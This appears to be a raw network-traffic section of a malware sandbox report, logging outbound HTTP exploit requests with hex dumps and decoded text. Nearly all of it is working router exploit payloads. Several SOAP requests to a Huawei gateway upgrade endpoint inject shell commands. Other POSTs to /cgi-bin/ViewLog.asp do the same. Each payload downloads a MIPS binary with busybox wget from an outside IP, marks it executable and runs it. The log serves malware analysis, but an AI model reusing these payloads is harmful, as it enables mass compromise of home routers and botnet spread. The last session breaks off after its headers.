                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.10 (Debian) Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                36192.168.2.1543826156.241.100.22737215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:59.853667974 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:01.789035082 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:04.156985998 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:08.764767885 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:17.980571985 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:38.203986883 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:15.067064047 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                37192.168.2.153917231.220.72.878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.313076019 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:03.325038910 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                38192.168.2.155912294.125.218.1638080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.313134909 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                39192.168.2.155501285.246.121.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.317276001 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                40192.168.2.153344862.29.70.2288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.356913090 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                41192.168.2.155383262.97.50.2118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.514451027 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
